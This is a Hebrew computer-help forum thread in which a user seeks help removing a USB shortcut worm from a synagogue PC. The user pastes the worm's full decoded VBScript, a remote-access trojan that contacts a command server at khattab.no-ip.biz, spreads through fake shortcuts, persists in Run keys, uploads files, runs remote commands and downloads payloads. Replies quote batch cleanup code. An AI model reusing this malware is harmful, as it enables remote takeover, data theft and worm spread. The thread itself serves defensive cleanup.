דילוג לתוכן
  • חוקי הפורום
  • פופולרי
  • לא נפתר
  • משתמשים
  • חיפוש גוגל בפורום
  • צור קשר
עיצובים
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • ברירת מחדל (ללא עיצוב (ברירת מחדל))
  • ללא עיצוב (ברירת מחדל)
כיווץ
מתמחים טופ
  1. דף הבית
  2. מחשבים וטכנולוגיה
  3. עזרה הדדית - מחשבים וטכנולוגיה
  4. בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

מתוזמן נעוץ נעול הועבר עזרה הדדית - מחשבים וטכנולוגיה
24 פוסטים 7 כותבים 150 צפיות 5 עוקבים
  • מהישן לחדש
  • מהחדש לישן
  • הכי הרבה הצבעות
תגובה
  • תגובה כנושא
התחברו כדי לפרסם תגובה
נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
  • מישהו12מ מנותק
    מישהו12מ מנותק
    מישהו12
    מדריכים
    כתב נערך לאחרונה על ידי
    #6

    אם אני מבין נכון....

    https://mitmachim.top/topic/77/מחיקת-וירוס-קיצורי-הדרך-אחת-ולתמיד

    הבלוג שלי
    https://aiv-dev.com/he-IL/

    תגובה 1 תגובה אחרונה
    1
    • ר רנדומלי

      בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

      cmd /c hrxxryydxo.vbs && start explorer [file name]
      

      הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

      לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

      תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

      לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

      z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
      

      בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
      לאחר פיענוח הקידוד התקבל הקוד הבא:
      אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

      e
      '<[ recoder : houdini (c) skype : houdini-fx ]>
      
      '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
      
      host = "khattab.no-ip.biz"
      port = 5550
      installdir = "%temp%"
      lnkfile = true
      lnkfolder = true
      
      '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
      
      dim shellobj 
      set shellobj = wscript.createobject("wscript.shell")
      dim filesystemobj
      set filesystemobj = createobject("scripting.filesystemobject")
      dim httpobj
      set httpobj = createobject("msxml2.xmlhttp")
      
      '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
      
      installname = wscript.scriptname
      startup = shellobj.specialfolders ("startup") & "\"
      installdir = shellobj.expandenvironmentstrings(installdir) & "\"
      if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
      spliter = "<" & "|" & ">"
      sleep = 5000 
      dim response
      dim cmd
      dim param
      info = ""
      usbspreading = ""
      startdate = ""
      dim oneonce
      
      '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
      on error resume next
      
      instance
      while true
      
      install
      
      response = ""
      response = post ("is-ready","")
      cmd = split (response,spliter)
      select case cmd (0)
      case "excecute"
            param = cmd (1)
            execute param
      case "update"
            param = cmd (1)
            oneonce.close
            set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
            oneonce.write param
            oneonce.close
            shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
            wscript.quit 
      case "uninstall"
            uninstall
      case "send"
            download cmd (1),cmd (2)
      case "site-send"
            sitedownloader cmd (1),cmd (2)
      case "recv"
            param = cmd (1)
            upload (param)
      case  "enum-driver"
            post "is-enum-driver",enumdriver  
      case  "enum-faf"
            param = cmd (1)
            post "is-enum-faf",enumfaf (param)
      case  "enum-process"
            post "is-enum-process",enumprocess   
      case  "cmd-shell"
            param = cmd (1)
            post "is-cmd-shell",cmdshell (param)  
      case  "delete"
            param = cmd (1)
            deletefaf (param) 
      case  "exit-process"
            param = cmd (1)
            exitprocess (param) 
      case  "sleep"
            param = cmd (1)
            sleep = eval (param)        
      end select
      
      wscript.sleep sleep
      
      wend
      
      sub install
      on error resume next
      dim lnkobj
      dim filename
      dim foldername
      dim fileicon
      dim foldericon
      
      upstart
      for each drive in filesystemobj.drives
      
      if  drive.isready = true then
      if  drive.freespace  > 0 then
      if  drive.drivetype  = 1 then
          filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
          if  filesystemobj.fileexists (drive.path & "\" & installname)  then
              filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
          end if
          for each file in filesystemobj.getfolder( drive.path & "\" ).Files
              if not lnkfile then exit for
              if  instr (file.name,".") then
                  if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                      file.attributes = 2+4
                      if  ucase (file.name) <> ucase (installname) then
                          filename = split(file.name,".")
                          set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                          lnkobj.windowstyle = 7
                          lnkobj.targetpath = "cmd.exe"
                          lnkobj.workingdirectory = ""
                          lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                          fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                          if  instr (fileicon,",") = 0 then
                              lnkobj.iconlocation = file.path
                          else 
                              lnkobj.iconlocation = fileicon
                          end if
                          lnkobj.save()
                      end if
                  end if
              end if
          next
          for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
              if not lnkfolder then exit for
              folder.attributes = 2+4
              foldername = folder.name
              set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
              lnkobj.windowstyle = 7
              lnkobj.targetpath = "cmd.exe"
              lnkobj.workingdirectory = ""
              lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
              foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
              if  instr (foldericon,",") = 0 then
                  lnkobj.iconlocation = folder.path
              else 
                  lnkobj.iconlocation = foldericon
              end if
              lnkobj.save()
          next
      end If
      end If
      end if
      next
      err.clear
      end sub
      
      sub uninstall
      on error resume next
      dim filename
      dim foldername
      
      shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
      shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
      filesystemobj.deletefile startup & installname ,true
      filesystemobj.deletefile wscript.scriptfullname ,true
      
      for  each drive in filesystemobj.drives
      if  drive.isready = true then
      if  drive.freespace  > 0 then
      if  drive.drivetype  = 1 then
          for  each file in filesystemobj.getfolder ( drive.path & "\").files
               on error resume next
               if  instr (file.name,".") then
                   if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                       file.attributes = 0
                       if  ucase (file.name) <> ucase (installname) then
                           filename = split(file.name,".")
                           filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                       else
                           filesystemobj.deletefile (drive.path & "\" & file.name)
                       end If
                   else
                       filesystemobj.deletefile (file.path) 
                   end if
               end if
           next
           for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
               folder.attributes = 0
           next
      end if
      end if
      end if
      next
      wscript.quit
      end sub
      
      function post (cmd ,param)
      
      post = param
      httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
      httpobj.setrequestheader "user-agent:",information
      httpobj.send param
      post = httpobj.responsetext
      end function
      
      function information
      on error resume next
      if  inf = "" then
          inf = hwid & spliter 
          inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
          inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
      
          set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
          set os = root.execquery ("select * from win32_operatingsystem")
          for each osinfo in os
             inf = inf & osinfo.caption & spliter  
             exit for
          next
          inf = inf & "plus" & spliter
          inf = inf & security & spliter
          inf = inf & usbspreading
          information = inf  
      else
          information = inf
      end if
      end function
      
      sub upstart ()
      on error resume Next
      
      shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
      filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
      filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
      
      end sub
      
      function hwid
      on error resume next
      
      set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
      set disks = root.execquery ("select * from win32_logicaldisk")
      for each disk in disks
          if  disk.volumeserialnumber <> "" then
              hwid = disk.volumeserialnumber
              exit for
          end if
      next
      end function
      
      function security 
      on error resume next
      
      security = ""
      
      set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
      set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
      for each objitem in colitems
          versionstr = split (objitem.version,".")
      next
      versionstr = split (colitems.version,".")
      osversion = versionstr (0) & "."
      for  x = 1 to ubound (versionstr)
           osversion = osversion &  versionstr (i)
      next
      osversion = eval (osversion)
      if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
      
      set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
      Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
      
      for each objantivirus in colantivirus
          security  = security  & objantivirus.displayname & " ."
      next
      if security  = "" then security  = "nan-av"
      end function
      
      function instance
      on error resume next
      
      usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
      if usbspreading = "" then
         if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
            usbspreading = "true - " & date
            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
         else
            usbspreading = "false - " & date
            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
      
         end if
      end If
      
      
      upstart
      set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
      set installfullnameshort =  filesystemobj.getfile (installdir & installname)
      if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
          wscript.quit 
      end If
      err.clear
      set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
      if  err.number > 0 then wscript.quit
      end function
      
      sub sitedownloader (fileurl,filename)
      
      strlink = fileurl
      strsaveto = installdir & filename
      set objhttpdownload = createobject("msxml2.xmlhttp" )
      objhttpdownload.open "get", strlink, false
      objhttpdownload.send
      
      set objfsodownload = createobject ("scripting.filesystemobject")
      if  objfsodownload.fileexists (strsaveto) then
          objfsodownload.deletefile (strsaveto)
      end if
       
      if objhttpdownload.status = 200 then
         dim  objstreamdownload
         set  objstreamdownload = createobject("adodb.stream")
         with objstreamdownload
              .type = 1 
              .open
              .write objhttpdownload.responsebody
              .savetofile strsaveto
              .close
         end with
         set objstreamdownload = nothing
      end if
      if objfsodownload.fileexists(strsaveto) then
         shellobj.run objfsodownload.getfile (strsaveto).shortpath
      end if 
      end sub
      
      sub download (fileurl,filedir)
      
      if filedir = "" then 
         filedir = installdir
      end if
      
      strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
      set objhttpdownload = createobject("msxml2.xmlhttp")
      objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
      objhttpdownload.send ""
           
      set objfsodownload = createobject ("scripting.filesystemobject")
      if  objfsodownload.fileexists (strsaveto) then
          objfsodownload.deletefile (strsaveto)
      end if
      if  objhttpdownload.status = 200 then
          dim  objstreamdownload
          set  objstreamdownload = createobject("adodb.stream")
          with objstreamdownload 
               .type = 1 
               .open
               .write objhttpdownload.responsebody
               .savetofile strsaveto
               .close
          end with
          set objstreamdownload  = nothing
      end if
      if objfsodownload.fileexists(strsaveto) then
         shellobj.run objfsodownload.getfile (strsaveto).shortpath
      end if 
      end sub
      
      function upload (fileurl)
      
      dim  httpobj,objstreamuploade,buffer
      set  objstreamuploade = createobject("adodb.stream")
      with objstreamuploade 
           .type = 1 
           .open
           .loadfromfile fileurl
           buffer = .read
           .close
      end with
      set objstreamdownload = nothing
      set httpobj = createobject("msxml2.xmlhttp")
      httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
      httpobj.send buffer
      end function
      
      function enumdriver ()
      
      for  each drive in filesystemobj.drives
      if   drive.isready = true then
           enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
      end if
      next
      end Function
      
      function enumfaf (enumdir)
      
      enumfaf = enumdir & spliter
      for  each folder in filesystemobj.getfolder (enumdir).subfolders
           enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
      next
      
      for  each file in filesystemobj.getfolder (enumdir).files
           enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
      
      next
      end function
      
      function enumprocess ()
      
      on error resume next
      
      set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
      set colitems = objwmiservice.execquery("select * from win32_process",,48)
      
      dim objitem
      for each objitem in colitems
          enumprocess = enumprocess & objitem.name & "|"
          enumprocess = enumprocess & objitem.processid & "|"
          enumprocess = enumprocess & objitem.executablepath & spliter
      next
      end function
      
      sub exitprocess (pid)
      on error resume next
      
      shellobj.run "taskkill /F /T /PID " & pid,7,true
      end sub
      
      sub deletefaf (url)
      on error resume next
      
      filesystemobj.deletefile url
      filesystemobj.deletefolder url
      
      end sub
      
      function cmdshell (cmd)
      
      dim httpobj,oexec,readallfromany
      
      set oexec = shellobj.exec ("%comspec% /c " & cmd)
      if not oexec.stdout.atendofstream then
         readallfromany = oexec.stdout.readall
      elseif not oexec.stderr.atendofstream then
         readallfromany = oexec.stderr.readall
      else 
         readallfromany = ""
      end if
      
      cmdshell = readallfromany
      end function
      
      cfopuserC מנותק
      cfopuserC מנותק
      cfopuser
      כתב נערך לאחרונה על ידי cfopuser
      #7

      עריכה: הפתרון ש@מישהו12 הביא עושה עבודה יסודית ומנקה גם כוננים מחוברים,

      (אם כי הוא מצפה למצוא שמות ידועים של וירוסים,
      ואת שלך לדוג' (hrxxryydxo.vbs) הוא לא ימצא,
      אבל עדיין אמור לטפל בבעיה כי הוא מטפל בstartup).

      מתכנת חובבמ תגובה 1 תגובה אחרונה
      1
      • cfopuserC cfopuser

        עריכה: הפתרון ש@מישהו12 הביא עושה עבודה יסודית ומנקה גם כוננים מחוברים,

        (אם כי הוא מצפה למצוא שמות ידועים של וירוסים,
        ואת שלך לדוג' (hrxxryydxo.vbs) הוא לא ימצא,
        אבל עדיין אמור לטפל בבעיה כי הוא מטפל בstartup).

        מתכנת חובבמ מנותק
        מתכנת חובבמ מנותק
        מתכנת חובב
        מדריכים
        כתב נערך לאחרונה על ידי מתכנת חובב
        #8

        @cfopuser הוא לא יטפל בזה
        עברתי על הקוד ולא מצאתי משהו שיכול לעזור לזה ספציפית
        מה- startup הוא מנקה רק את אלו

        for %%F in ("IMG-512.wsf","WinddowsUpdater.lnk","WinddowsUpdateCheck.lnk","winddowsupdate.lnk") do (
            if exist "%%~P\%%~F" attrib -s -h -r "%%~P\%%~F" && del "%%~P\%%~F" /f /q
        

        כנ"ל מהרגיסטרי

        ::Clean Registry / Startup
        For /f "usebackq tokens=2 delims=\" %%U in (`reg.exe query "HKU"`) do (
        	for %%P in ("HKU\%%U\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
        		for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512","BrowserUpdater","BrowserUpdate","cpuulover") do (
        			reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
        			)
        		for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
        			reg delete %%~P /v "%%~A" /f		
        			)
        		reg query %%~P /s
        		)
        	)
        for %%P in ("HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run","HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
        	for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512") do (
        		reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
        	)
        	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
        		reg delete %%~P /v "%%~A" /f
        		)
        	reg query %%~P /s
        	)
        

        וכנ"ל מכוננים פנימיים (ובדומה גם לחיצוניים) - כאן יש גם בדיקה של תבנית regex ספציפית שלא תואמת לוירוס הנ"ל

        ::internal drives
        for /f "tokens=2 delims==" %%G in ('WMIC logicaldisk where "DriveType=3" get DeviceID /value 2^>NUL ^| find "="') do for /f "delims=" %%X in ("%%G") do (
        	for /f "tokens=* delims=" %%D in ('dir %%X\ /b /as') do (
        		if "%%D"=="streamer" attrib -s -h -r %%X\streamer
        		if "%%D"=="streamerdata" attrib -s -h -r %%X\streamerdata
        		if "%%D"=="WinddowsUpdater" attrib -s -h -r %%X\WinddowsUpdater
        		if "%%D"=="WinddowsUpdateCheck" attrib -s -h -r %%X\WinddowsUpdateCheck
        		if "%%D"=="BrowserUpdater" attrib -s -h -r %%X\BrowserUpdater
        		if "%%D"=="BrowserUpdateCheck" attrib -s -h -r %%X\BrowserUpdateCheck
        		if "%%D"=="IMG-512.wsf" attrib -s -h -r %%X\IMG-512.wsf & del %%X\IMG-512.wsf && echo The virus ''old shortcuts'' has been removed from drive %%X.
        		)
        	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('dir c:\ /b /ad ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
        		attrib -s -h -r "%%X\%%A"
        		rd /s /q "%%X\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
        		)
        	for /f "delims=" %%D in ('dir %%X\ /b /ad') do (
        		for %%F in ("My Downloads","My Videos","My Pictures","Downloads","Games") do (
        			if exist "%%X\%%D\%%~F.lnk" del "%%X\%%D\%%~F.lnk"
        			)
        		for /f "usebackq tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in (`dir /b /ads "%%X\%%D\" ^|findstr /xr "[a-z].........[a-z].........[a-z]"`) do (
        			attrib -s -h -r "%%X\%%D\%%A"
        			rd /s /q "%%X\%%D\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
        			)
        		if exist "%%X\%%D\%%D copy*.lnk" del "%%X\%%D\%%D copy*.lnk"  
        		if exist "%%X\%%D\%%D.lnk" del "%%X\%%D\%%D.lnk"
        		if exist "%%X\%%D\streamerdata" attrib -s -h -r "%%X\%%D\streamerdata" & rd "%%X\%%D\streamerdata" /s /q
        		if /i "%%D"=="streamer" rd /s /q %%X\streamer && echo The virus ''%%D'' has been removed from drive %%X.
        		if /i "%%D"=="streamerdata" rd /s /q %%X\streamerdata
        		if /i "%%D"=="WinddowsUpdater" rd /s /q %%X\WinddowsUpdater && echo The virus ''%%D'' has been removed from drive %%X.
        		if /i "%%D"=="WinddowsUpdateCheck" rd /s /q %%X\WinddowsUpdateCheck
        		if /i "%%D"=="BrowserUpdater" rd /s /q %%X\BrowserUpdater && echo The virus ''%%D'' has been removed from drive %%X.
        		if /i "%%D"=="BrowserUpdateCheck" rd /s /q %%X\BrowserUpdateCheck
        		)
        	set "AutoHK.NAPd="
        	)
        

        המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

        צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

        cfopuserC תגובה 1 תגובה אחרונה
        1
        • מתכנת חובבמ מתכנת חובב

          @cfopuser הוא לא יטפל בזה
          עברתי על הקוד ולא מצאתי משהו שיכול לעזור לזה ספציפית
          מה- startup הוא מנקה רק את אלו

          for %%F in ("IMG-512.wsf","WinddowsUpdater.lnk","WinddowsUpdateCheck.lnk","winddowsupdate.lnk") do (
              if exist "%%~P\%%~F" attrib -s -h -r "%%~P\%%~F" && del "%%~P\%%~F" /f /q
          

          כנ"ל מהרגיסטרי

          ::Clean Registry / Startup
          For /f "usebackq tokens=2 delims=\" %%U in (`reg.exe query "HKU"`) do (
          	for %%P in ("HKU\%%U\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
          		for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512","BrowserUpdater","BrowserUpdate","cpuulover") do (
          			reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
          			)
          		for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
          			reg delete %%~P /v "%%~A" /f		
          			)
          		reg query %%~P /s
          		)
          	)
          for %%P in ("HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run","HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
          	for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512") do (
          		reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
          	)
          	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
          		reg delete %%~P /v "%%~A" /f
          		)
          	reg query %%~P /s
          	)
          

          וכנ"ל מכוננים פנימיים (ובדומה גם לחיצוניים) - כאן יש גם בדיקה של תבנית regex ספציפית שלא תואמת לוירוס הנ"ל

          ::internal drives
          for /f "tokens=2 delims==" %%G in ('WMIC logicaldisk where "DriveType=3" get DeviceID /value 2^>NUL ^| find "="') do for /f "delims=" %%X in ("%%G") do (
          	for /f "tokens=* delims=" %%D in ('dir %%X\ /b /as') do (
          		if "%%D"=="streamer" attrib -s -h -r %%X\streamer
          		if "%%D"=="streamerdata" attrib -s -h -r %%X\streamerdata
          		if "%%D"=="WinddowsUpdater" attrib -s -h -r %%X\WinddowsUpdater
          		if "%%D"=="WinddowsUpdateCheck" attrib -s -h -r %%X\WinddowsUpdateCheck
          		if "%%D"=="BrowserUpdater" attrib -s -h -r %%X\BrowserUpdater
          		if "%%D"=="BrowserUpdateCheck" attrib -s -h -r %%X\BrowserUpdateCheck
          		if "%%D"=="IMG-512.wsf" attrib -s -h -r %%X\IMG-512.wsf & del %%X\IMG-512.wsf && echo The virus ''old shortcuts'' has been removed from drive %%X.
          		)
          	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('dir c:\ /b /ad ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
          		attrib -s -h -r "%%X\%%A"
          		rd /s /q "%%X\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
          		)
          	for /f "delims=" %%D in ('dir %%X\ /b /ad') do (
          		for %%F in ("My Downloads","My Videos","My Pictures","Downloads","Games") do (
          			if exist "%%X\%%D\%%~F.lnk" del "%%X\%%D\%%~F.lnk"
          			)
          		for /f "usebackq tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in (`dir /b /ads "%%X\%%D\" ^|findstr /xr "[a-z].........[a-z].........[a-z]"`) do (
          			attrib -s -h -r "%%X\%%D\%%A"
          			rd /s /q "%%X\%%D\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
          			)
          		if exist "%%X\%%D\%%D copy*.lnk" del "%%X\%%D\%%D copy*.lnk"  
          		if exist "%%X\%%D\%%D.lnk" del "%%X\%%D\%%D.lnk"
          		if exist "%%X\%%D\streamerdata" attrib -s -h -r "%%X\%%D\streamerdata" & rd "%%X\%%D\streamerdata" /s /q
          		if /i "%%D"=="streamer" rd /s /q %%X\streamer && echo The virus ''%%D'' has been removed from drive %%X.
          		if /i "%%D"=="streamerdata" rd /s /q %%X\streamerdata
          		if /i "%%D"=="WinddowsUpdater" rd /s /q %%X\WinddowsUpdater && echo The virus ''%%D'' has been removed from drive %%X.
          		if /i "%%D"=="WinddowsUpdateCheck" rd /s /q %%X\WinddowsUpdateCheck
          		if /i "%%D"=="BrowserUpdater" rd /s /q %%X\BrowserUpdater && echo The virus ''%%D'' has been removed from drive %%X.
          		if /i "%%D"=="BrowserUpdateCheck" rd /s /q %%X\BrowserUpdateCheck
          		)
          	set "AutoHK.NAPd="
          	)
          

          המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

          cfopuserC מנותק
          cfopuserC מנותק
          cfopuser
          כתב נערך לאחרונה על ידי
          #9

          @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

          המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

          או לכבות vbs דרך הריג'יסטרי.

